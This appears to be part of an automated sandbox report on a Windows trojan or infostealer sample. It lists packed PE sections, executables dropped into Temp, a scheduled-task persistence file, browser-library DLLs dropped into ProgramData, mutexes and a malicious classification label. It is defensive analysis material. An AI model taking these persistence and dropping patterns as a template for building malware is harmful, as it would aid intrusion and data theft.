PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name:
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: .idata
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name:
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: .idata
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name:
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name:
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: .rsrc
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: .idata
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: e192e43b61.exe.7.dr	Static PE information: section name:
Source: e192e43b61.exe.7.dr	Static PE information: section name: .rsrc
Source: e192e43b61.exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: b0b9f39429.exe.7.dr	Static PE information: section name:
Source: b0b9f39429.exe.7.dr	Static PE information: section name: .rsrc
Source: b0b9f39429.exe.7.dr	Static PE information: section name: .idata
Source: b0b9f39429.exe.7.dr	Static PE information: section name:
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name:
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: .idata
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name:
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name:
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: .rsrc
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: .idata
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C7362C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

6_2_6C7362C0

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5BAC60	6_2_6C5BAC60
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68AC30	6_2_6C68AC30
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C676C00	6_2_6C676C00
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5AECC0	6_2_6C5AECC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C60ECD0	6_2_6C60ECD0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C67ED70	6_2_6C67ED70
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6DAD50	6_2_6C6DAD50
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C738D20	6_2_6C738D20
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C73CDC0	6_2_6C73CDC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B4DB0	6_2_6C5B4DB0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C646D90	6_2_6C646D90
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C64EE70	6_2_6C64EE70
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C690E20	6_2_6C690E20
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5BAEC0	6_2_6C5BAEC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C650EC0	6_2_6C650EC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C636E90	6_2_6C636E90
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C672F70	6_2_6C672F70
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C61EF40	6_2_6C61EF40
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B6F10	6_2_6C5B6F10
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F0F20	6_2_6C6F0F20
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68EFF0	6_2_6C68EFF0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B0FE0	6_2_6C5B0FE0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F8FB0	6_2_6C6F8FB0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5BEFB0	6_2_6C5BEFB0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C684840	6_2_6C684840
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C600820	6_2_6C600820
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C63A820	6_2_6C63A820
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6B68E0	6_2_6C6B68E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5E8960	6_2_6C5E8960
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C606900	6_2_6C606900
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6CC9E0	6_2_6C6CC9E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5E49F0	6_2_6C5E49F0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6409A0	6_2_6C6409A0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C66A9A0	6_2_6C66A9A0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6709B0	6_2_6C6709B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C62CA70	6_2_6C62CA70
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C668A30	6_2_6C668A30
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C65EA00	6_2_6C65EA00
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C62EA80	6_2_6C62EA80
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6B6BE0	6_2_6C6B6BE0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C650BA0	6_2_6C650BA0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5C8460	6_2_6C5C8460
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C614420	6_2_6C614420
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C63A430	6_2_6C63A430
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5F64D0	6_2_6C5F64D0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C64A4D0	6_2_6C64A4D0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6DA480	6_2_6C6DA480
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C612560	6_2_6C612560
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C650570	6_2_6C650570
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C608540	6_2_6C608540
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6B4540	6_2_6C6B4540
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F8550	6_2_6C6F8550
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C67A5E0	6_2_6C67A5E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C63E5F0	6_2_6C63E5F0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5A45B0	6_2_6C5A45B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C60C650	6_2_6C60C650
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C60E6E0	6_2_6C60E6E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C64E6E0	6_2_6C64E6E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5D46D0	6_2_6C5D46D0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C630700	6_2_6C630700
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5DA7D0	6_2_6C5DA7D0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5FE070	6_2_6C5FE070
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C67C000	6_2_6C67C000
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C678010	6_2_6C678010
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5A8090	6_2_6C5A8090
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68C0B0	6_2_6C68C0B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5C00B0	6_2_6C5C00B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C618140	6_2_6C618140
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C626130	6_2_6C626130
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C694130	6_2_6C694130
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B01E0	6_2_6C5B01E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C638260	6_2_6C638260
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C648250	6_2_6C648250
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C688220	6_2_6C688220
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C67A210	6_2_6C67A210
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C7362C0	6_2_6C7362C0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6822A0	6_2_6C6822A0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C67E2B0	6_2_6C67E2B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6CC360	6_2_6C6CC360
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C646370	6_2_6C646370
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B8340	6_2_6C5B8340
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F2370	6_2_6C6F2370
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B2370	6_2_6C5B2370
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C622320	6_2_6C622320
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6043E0	6_2_6C6043E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C60E3B0	6_2_6C60E3B0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5E23A0	6_2_6C5E23A0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5B3C40	6_2_6C5B3C40
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6D9C40	6_2_6C6D9C40
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5C1C30	6_2_6C5C1C30
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C671CE0	6_2_6C671CE0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6EDCD0	6_2_6C6EDCD0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C613D00	6_2_6C613D00
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C681DC0	6_2_6C681DC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5A3D80	6_2_6C5A3D80
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6F9D90	6_2_6C6F9D90
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C70BE70	6_2_6C70BE70
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C735E60	6_2_6C735E60
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6BDE10	6_2_6C6BDE10
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5D3EC0	6_2_6C5D3EC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C707F20	6_2_6C707F20
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5A5F30	6_2_6C5A5F30
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5E5F20	6_2_6C5E5F20
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C65BFF0	6_2_6C65BFF0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C6CDFC0	6_2_6C6CDFC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C733FC0	6_2_6C733FC0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5D1F90	6_2_6C5D1F90
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C60D810	6_2_6C60D810
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C70B8F0	6_2_6C70B8F0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C68F8F0	6_2_6C68F8F0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5BD8E0	6_2_6C5BD8E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C5E38E0	6_2_6C5E38E0
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C62F960	6_2_6C62F960
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C66D960	6_2_6C66D960
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: 6_2_6C665920	6_2_6C665920

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: String function: 6C5D3620 appears 74 times
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: String function: 6C5D9B10 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: String function: 6C6E9F30 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Code function: String function: 6C60C5E0 appears 35 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.998114224137931
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998446014986376
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: Section: ujtayirb ZLIB complexity 0.994414299962006
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: Section: rhebxyzr ZLIB complexity 0.9951511497101891
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.998446014986376
Source: skotes.exe.4.dr	Static PE information: Section: ujtayirb ZLIB complexity 0.994414299962006
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.998114224137931
Source: e192e43b61.exe.7.dr	Static PE information: Section: ZLIB complexity 0.998114224137931
Source: random[1].exe0.7.dr	Static PE information: Section: rhebxyzr ZLIB complexity 0.9951511497101891
Source: b0b9f39429.exe.7.dr	Static PE information: Section: rhebxyzr ZLIB complexity 0.9951511497101891
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: Section: ZLIB complexity 0.998446014986376
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: Section: ujtayirb ZLIB complexity 0.994414299962006
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: Section: rhebxyzr ZLIB complexity 0.9951511497101891

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@51/42@7/7

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C610300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

6_2_6C610300

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\OEHXUQRB.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:368:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2084:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4008:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:708:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
